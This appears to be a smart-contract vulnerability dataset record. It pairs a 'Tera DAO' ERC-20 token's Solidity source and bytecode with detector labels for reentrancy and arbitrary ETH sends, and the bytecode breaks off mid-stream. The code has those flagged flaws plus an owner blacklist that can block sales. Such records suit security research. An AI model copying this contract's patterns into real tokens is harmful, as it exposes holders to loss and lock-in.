0a08201905061304d6000830188612d74565b61305a6020830187612b88565b818103604083015261306c8186612b1b565b905061307b6060830185612b0c565b6130886080830184612d74565b9695505050505050565b60006020820190506130a76000830184612d83565b92915050565b60006130b76130c8565b90506130c38282613302565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ed576130ec613409565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315e826132a6565b9150613169836132a6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319e5761319d61337c565b5b828201905092915050565b60006131b4826132a6565b91506131bf836132a6565b9250826131cf576131ce6133ab565b5b828204905092915050565b60006131e5826132a6565b91506131f0836132a6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132295761322861337c565b5b828202905092915050565b600061323f826132a6565b915061324a836132a6565b92508282101561325d5761325c61337c565b5b828203905092915050565b600061327382613286565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c8826132a6565b9050919050565b60005b838110156132ed5780820151818401526020810190506132d2565b838111156132fc576000848401525b50505050565b61330b8261344c565b810181811067ffffffffffffffff8211171561332a57613329613409565b5b80604052505050565b600061333e826132a6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133715761337061337c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375c81613268565b811461376757600080fd5b50565b6137738161327a565b811461377e57600080fd5b50565b61378a816132a6565b811461379557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209664438db1d5fa819858c136710f665d5bda78793ca59c83e5411f8bc2c5fa2a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,226 |
0xce911de4ad92b8844772a8f3ad913971f484d2b0
|
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TERA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,3,0,3);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "Tera DAO";
string private constant _symbol = "$TERA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xf5b112E7c95a3A1a4cd1Aa1495c684a06E5CA074);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(1).div(100);
_maxWalletSize = _tTotal.mul(2).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b60405161016791906129d2565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612a9c565b61051c565b6040516101a49190612af7565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612b12565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f89190612b88565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ceb565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612d34565b6108a4565b60405161025e9190612af7565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612d87565b61097d565b005b34801561029c57600080fd5b506102a5610a6d565b6040516102b29190612dd0565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612deb565b610a76565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612e44565b610aef565b005b34801561031957600080fd5b50610334600480360381019061032f9190612deb565b610ba1565b005b34801561034257600080fd5b5061034b610c7b565b005b34801561035957600080fd5b50610374600480360381019061036f9190612d87565b610ced565b6040516103819190612b88565b60405180910390f35b34801561039657600080fd5b5061039f610d3e565b005b3480156103ad57600080fd5b506103b6610e91565b005b3480156103c457600080fd5b506103cd610f48565b6040516103da9190612e80565b60405180910390f35b3480156103ef57600080fd5b506103f8610f71565b60405161040591906129d2565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612a9c565b610fae565b6040516104429190612af7565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612deb565b610fcc565b005b34801561048057600080fd5b506104896110a6565b005b34801561049757600080fd5b506104a0611120565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612e9b565b61168b565b6040516104d69190612b88565b60405180910390f35b60606040518060400160405280600881526020017f546572612044414f000000000000000000000000000000000000000000000000815250905090565b6000610530610529611712565b848461171a565b6001905092915050565b610542611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c690612f27565b60405180910390fd5b600f5483856105de9190612f76565b11156105e957600080fd5b60105481836105f89190612f76565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f27565b60405180910390fd5b60005b81518110156108a0573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070d5761070c612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107805761077f612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f4576107f3612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088d5760016007600084848151811061083357610832612fcc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089890612ffb565b9150506106da565b5050565b60006108b18484846118e3565b610972846108bd611712565b61096d8560405180606001604052806028815260200161384c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610923611712565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e899092919063ffffffff16565b61171a565b600190509392505050565b610985611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612f27565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab7611712565b73ffffffffffffffffffffffffffffffffffffffff1614610ad757600080fd5b6031811115610ae557600080fd5b8060128190555050565b610af7611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612f27565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba9611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90612f27565b60405180910390fd5b60008111610c4357600080fd5b610c726064610c6483683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbc611712565b73ffffffffffffffffffffffffffffffffffffffff1614610cdc57600080fd5b6000479050610cea81611fb1565b50565b6000610d37600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201d565b9050919050565b610d46611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90612f27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e99611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90612f27565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f2454455241000000000000000000000000000000000000000000000000000000815250905090565b6000610fc2610fbb611712565b84846118e3565b6001905092915050565b610fd4611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105890612f27565b60405180910390fd5b6000811161106e57600080fd5b61109d606461108f83683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611712565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b600061111230610ced565b905061111d8161208b565b50565b611128611712565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac90612f27565b60405180910390fd5b60148054906101000a900460ff1615611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa9061308f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061129330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061171a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130291906130c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611369573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138d91906130c4565b6040518363ffffffff1660e01b81526004016113aa9291906130f1565b6020604051808303816000875af11580156113c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ed91906130c4565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061147630610ced565b600080611481610f48565b426040518863ffffffff1660e01b81526004016114a39695949392919061315f565b60606040518083038185885af11580156114c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114e691906131d5565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061154f60646115416001683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60158190555061158560646115776002683635c9adc5dea00000611eed90919063ffffffff16565b611f6790919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611644929190613228565b6020604051808303816000875af1158015611663573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116879190613266565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611789576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178090613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ef90613397565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118d69190612b88565b60405180910390a3505050565b60008111611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d90613429565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611949610f48565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610f48565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750601460179054906101000a900460ff165b15611b4257601554811115611ae957600080fd5b60165481611af684610ced565b611b009190612f76565b1115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3890613495565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c435750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cec5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1c30610ced565b9050611d706064611d62601254611d54601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b811115611dcc57611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e375750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4f5750601460169054906101000a900460ff165b15611e7757611e5d8161208b565b60004790506000811115611e7557611e7447611fb1565b5b505b505b611e84838383612304565b505050565b6000838311158290611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec891906129d2565b60405180910390fd5b5060008385611ee091906134b5565b9050809150509392505050565b6000808303611eff5760009050611f61565b60008284611f0d91906134e9565b9050828482611f1c9190613572565b14611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613615565b60405180910390fd5b809150505b92915050565b6000611fa983836040518060400160405280601a81526020017f536166654d6174